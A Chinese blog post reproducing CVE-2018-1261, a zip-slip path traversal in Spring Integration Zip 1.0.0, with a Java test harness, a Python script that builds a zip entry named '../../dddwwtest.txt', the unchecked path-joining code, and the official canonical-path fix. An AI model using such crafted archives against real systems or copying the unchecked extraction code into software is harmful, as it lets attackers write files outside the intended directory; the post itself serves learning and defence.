不敢说分析,还是太菜了,多学习。

文章来源: 猎户安全实验室

存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。

用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。

漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java

这里的都是官方例子。

仿造官方例子写个测试类。

	@Test
public void unzipCve() throws IOException, InterruptedException { final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
final InputStream upZipFile = resource.getInputStream();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
unZipTransformer.afterPropertiesSet(); Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build(); unZipTransformer.transform(message);//漏洞入口。
System.out.println("over");
} }

  

这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。

import zipfile

if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e

  

东西都准备妥当了,开始分析漏洞吧。

漏洞入口:

unZipTransformer.transform(message);

接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

	@Override
protected Object doTransform(Message<?> message) throws Exception {
Assert.notNull(message, "message must not be null");
final Object payload = message.getPayload();
Assert.notNull(payload, "payload must not be null"); return doZipTransform(message);//往下调用doZipTransform函数
}

  

在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。

漏洞就出现在doZipTransform()函数。具体代码位置:

				ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方

					@Override
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException { final String zipEntryName = zipEntry.getName();
final long zipEntryTime = zipEntry.getTime();
final long zipEntryCompressedSize = zipEntry.getCompressedSize();
final String type = zipEntry.isDirectory() ? "directory" : "file"; if (logger.isInfoEnabled()) {
logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
"Compressed Size: '%s', Type: '%s'",
zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
} if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
final File destinationFile = new File(tempDir, zipEntryName); if (zipEntry.isDirectory()) {
destinationFile.mkdirs(); //NOSONAR false positive
}
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
if (!zipEntry.isDirectory()) {
byte[] data = IOUtils.toByteArray(zipEntryInputStream);
uncompressedData.put(zipEntryName, data);
}
}
else {
throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
}
}

  

调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

这里的final String zipEntryName = zipEntry.getName();  //就是解压出来的文件内容,

在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

然后下面两句代码把文件给复制过去。

SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);

这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如:   ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。

这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址

					public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName); /* If we see the relative traversal string of ".." we need to make sure
* that the outputdir + name doesn't leave the outputdir.
*/
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
throw new ZipException("The file " + zipEntryName +
" is trying to leave the target output directory of " + workDirectory);
}
return destinationFile;
}

  

主要看这句话:

if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))

如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,

全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/  ,而workDirectory是定义的路径。

综上就是路径不能往前跳转。

这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法

Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现的更多相关文章

  1. ref:Spring Integration Zip 不安全解压(CVE-2018-1261)漏洞分析

    ref:https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q 0x00 漏洞概览 漏洞名称:Spring Integration Zip不安全解压 漏洞编 ...

  2. liunx之zip格式的解压命令

    zip -r myfile.zip ./* 将当前目录下的所有文件和文件夹全部压缩成myfile.zip文件,-r表示递归压缩子目录下所有文件. 2.unzip unzip -o -d /home/s ...

  3. 正确的 zip 压缩与解压代码

    网上流传的zip压缩与解压 的代码有非常大的问题 尽管使用了ant进行压缩与解压,可是任务的流程还是用的java.util.zip 的方式写的,我在使用的过程中遇到了压缩的文件夹结构有误,甚至出现不同 ...

  4. Android之zip文件加密解压及进度条的实现

    zip文件的解压能够使用java的zip库,可是没有实现对加密文件的解压功能,这里能够使用zip4j来实现.详细能够參看该文<Android下zip压缩文件加密解密的完美解决方式>.该文件 ...

  5. java zip 压缩与解压

    java zip 压缩与解压 import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java. ...

  6. 文件操作工具类: 文件/目录的创建、删除、移动、复制、zip压缩与解压.

    FileOperationUtils.java package com.xnl.utils; import java.io.BufferedInputStream; import java.io.Bu ...

  7. Linux tar.gz 、zip、rar 解压 压缩命令

    tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个 ...

  8. 「Python实用秘技01」复杂zip文件的解压

    本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的新系列文章「Python实用秘技」的第1 ...

  9. zip压缩,解压

    //引用 System.IO.Compression.FileSystem.dll var basePath = AppDomain.CurrentDomain.BaseDirectory; Syst ...

随机推荐

  1. VMware设置inter共享连接出现空值

    1.打开“网络和共享中心”选择“VMware Virtual Ethernet Adapter for VMnet8”网卡右键属性,选择VMware Bridge Protocol,同时设置ip自动获 ...

  2. Educational Codeforces Round 54 E. Vasya and a Tree(树上差分数组)

    https://codeforces.com/contest/1076/problem/E 题意 给一棵树(n<=3e5),m(3e5)次查询,每次查询u,d,x,表示在u的子树中,给距离u&l ...

  3. 新加了一块硬盘,在bios中可以看的到,在系统的磁盘管理器中看不到新加硬盘

    今天新加了一块硬盘,进入bios中可以看到新加的硬盘,但是进入系统后在磁盘管理及磁盘驱动器中都看不到.并且在设备管理器下其他设备出现了ATA channel1,前面显示感叹号,如下图所示: 而且电脑变 ...

  4. s4-5 以太网帧

    以太网所处的层次 IEEE 802.3/以太网MAC子层协议  IEEE802.3协议描述了运行在各种介质上1 Mb/s~10 Mb/s的1- 持续CSMA/CD协议的局域网标准.  很多人对以太 ...

  5. VSCode 设置侧边栏字体大小;Visual Studio Code改变侧边栏大小

    1.代码改写,进入默认安装的如下路径 C:\Users\Administrator\AppData\Local\Programs\Microsoft VS Code\resources\app\out ...

  6. Calendar 得到前一天当前时间

    @Test public void test(){ //因为Calendar的构造方法是私有的,所以实例化一个Calendar对象用getInstance方法 Calendar calendar = ...

  7. ng-show和ng-if的区别和使用场景

    一.ng-show(ng-hide)和ng-if都是控制标签的显示和隐藏,为什么angularjs会定义两个指令来供我们使用呢,不多多说肯定有各自的使用场景,接下来我们看哈实际原理: ng-show实 ...

  8. 大文件断点上传 js+php

    /* * js */ function PostFile(file, i, t) {    console.log(1);  var name = file.name, //文件名 size = fi ...

  9. Redis集群命令行部署工具

    使用之前准备工作: 1)配置好与端口无关的公共redis.conf文件,和工具放在同一目录下 2)配置好与端口相关的模板redis-PORT.conf文件,也和工具放在同一目录下(部署时PORT会被替 ...

  10. java重定向与请求转发的区别

    最近工作不算太忙,今天在这里对java中的重定向和请求转发稍作总结,希望能帮助到大家. 请求转发: request.getRequestDispatcher().forward(); 重定向: res ...